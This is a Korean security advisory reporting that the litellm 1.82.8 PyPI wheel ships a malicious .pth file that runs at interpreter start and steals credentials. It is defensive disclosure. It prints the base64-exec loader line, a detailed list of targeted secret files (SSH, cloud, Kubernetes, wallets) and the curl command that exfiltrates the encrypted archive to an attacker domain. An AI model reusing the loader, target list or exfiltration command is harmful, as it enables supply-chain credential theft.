[긴급 보안 공지] litellm 1.82.8 버전 악성 코드 감염 - 자격증명 탈취
요약
PyPI에 배포된 litellm 1.82.8 휠 패키지에 악성 .pth 파일(litellm_init.pth, 34,628 바이트)이 포함되어 있습니다. 이 파일은 Python 인터프리터가 시작될 때마다 자동으로 실행되는데, litellm을 import 할 필요도 없습니다. 순수한 공급망 침해(supply chain compromise) 사건입니다.
패키지의 RECORD 파일에도 이 악성 파일이 명시되어 있네요:
litellm_init.pth,sha256=ceNa7wMJnHy1kRnNCcwJaFjWX3pORLfMh7xGL8TUjg,34628
직접 확인해보기
다음 명령어로 직접 확인할 수 있습니다:
pip download litellm==1.82.8 --no-deps -d /tmp/check
python3 -c "
import zipfile, os
whl = '/tmp/check/' + [f for f in os.listdir('/tmp/check') if f.endswith('.whl')][0]
with zipfile.ZipFile(whl) as z:
pth = [n for n in z.namelist() if n.endswith('.pth')]
print('PTH files:', pth)
for p in pth:
print(z.read(p)[:300])
"
결과를 보면 litellm_init.pth 파일에 다음과 같은 코드가 들어있습니다:
import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"])
악성 동작 분석
페이로드는 이중 base64 인코딩되어 있습니다. 디코딩하면 다음과 같은 행동을 합니다:
1단계: 정보 수집
시스템에서 민감한 데이터를 모두 긁어갑니다:
시스템 정보
- hostname, whoami, uname -a, ip addr, ip route
환경 변수
- printenv (모든 API 키, 시크릿, 토큰 포함)
SSH 키
- ~/.ssh/id_rsa, ~/.ssh/id_ed25519, ~/.ssh/id_ecdsa, ~/.ssh/id_dsa
- ~/.ssh/authorized_keys, ~/.ssh/known_hosts, ~/.ssh/config
Git 자격증명
- ~/.gitconfig, ~/.git-credentials
클라우드 자격증명
- AWS: ~/.aws/credentials, ~/.aws/config, IMDS 토큰 + 보안 자격증명
- GCP: ~/.config/gcloud/application_default_credentials.json
- Azure: ~/.azure/
쿠버네티스 시크릿
- ~/.kube/config, /etc/kubernetes/admin.conf, /etc/kubernetes/kubelet.conf
- /etc/kubernetes/controller-manager.conf, /etc/kubernetes/scheduler.conf
- 서비스 어카운트 토큰
컨테이너 및 패키지 관리자 설정
- ~/.docker/config.json, /kaniko/.docker/config.json, /root/.docker/config.json
- ~/.npmrc, ~/.vault-token, ~/.netrc, ~/.lftprc, ~/.msmtprc, ~/.my.cnf, ~/.pgpass, ~/.mongorc.js
셸 히스토리
- ~/.bash_history, ~/.zsh_history, ~/.sh_history, ~/.mysql_history, ~/.psql_history, ~/.rediscli_history
암호화폐 지갑
- ~/.bitcoin/, ~/.litecoin/, ~/.dogecoin/, ~/.zcash/, ~/.dashcore/, ~/.ripple/, ~/.bitmonero/
- ~/.ethereum/keystore/, ~/.cardano/, ~/.config/solana/
SSL/TLS 개인 키
- /etc/ssl/private/, Let's Encrypt .pem 및 .key 파일
CI/CD 시크릿
- terraform.tfvars, .gitlab-ci.yml, .travis.yml, Jenkinsfile, .drone.yml, Anchor.toml, ansible.cfg
데이터베이스 자격증명
- PostgreSQL, MySQL, Redis, LDAP 설정 파일
웹훅 URL
- 환경 변수와 설정 파일에서 Slack/Discord 웹훅 URL 검색
2단계: 암호화 및 유출
수집된 데이터는 다음 과정을 거칩니다:
- 임시 파일에 저장
- openssl rand로 무작위 32바이트 AES-256 세션 키 생성
- openssl enc -aes-256-cbc -pbkdf2로 데이터 암호화
- 하드코딩된 4096비트 RSA 공개 키로 AES 세션 키를 암호화
- 두 파일을 tpcp.tar.gz로 압축
- 다음 주소로 유출:
curl -s -o /dev/null -X POST \
"https://models.litellm.cloud/" \
-H "Content-Type: application/octet-stream" \
-H "X-Filename: tpcp.tar.gz" \
--data-binary @tpcp.tar.gz
핵심 기술 상세
실행 메커니즘: site-packages/ 디렉토리의 .pth 파일은 Python 인터프리터 시작 시 자동으로 실행됩니다. import 문이 필요 없습니다.
은폐 기법: 페이로드가 이중 base64 인코딩되어 있어서 일반적인 grep으로는 탐지가 어렵습니다.
유출 대상: https://models.litellm.cloud/ (공식 도메인 litellm.ai가 아니라 litellm.cloud입니다)
RSA 공개 키 (처음 64자): MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvahaZDo8mucujrT15ry+...
영향 범위
litellm==1.82.8을 pip으로 설치한 모든 사용자가 영향을 받습니다:
- 로컬 개발 머신
- CI/CD 파이프라인
- Docker 컨테이너
- 프로덕션 서버
해당 버전
확인됨: litellm==1.82.8 (PyPI 휠 패키지 litellm-1.82.8-py3-none-any.whl)
기타 버전: 아직 조사 중 — 공격자가 여러 릴리스를 침해했을 수도 있습니다.
권장 조치
PyPI 관리자
- litellm 1.82.8을 즉시 yanking 처리
사용자
- site-packages/ 디렉토리에서 litellm_init.pth 파일 확인
- litellm 1.82.8이 설치되었던 모든 시스템의 환경 변수와 설정 파일에 있던 자격증명 전부 재발급
- 노출된 가능성이 있는 모든 토큰, API 키, 비밀번호 변경
BerriAI (litellm 개발팀)
- PyPI 배포 자격증명 감사
- CI/CD 파이프라인 침해 여부 확인
환경 정보
- OS: Ubuntu 24.04 (Docker 컨테이너)
- Python: 3.13
- pip은 PyPI에서 설치
- 발견일: 2026-03-24
더 자세한 업데이트는 [#24518](https://github.com/BerriAI/litellm/issues/24518)을 참고하세요.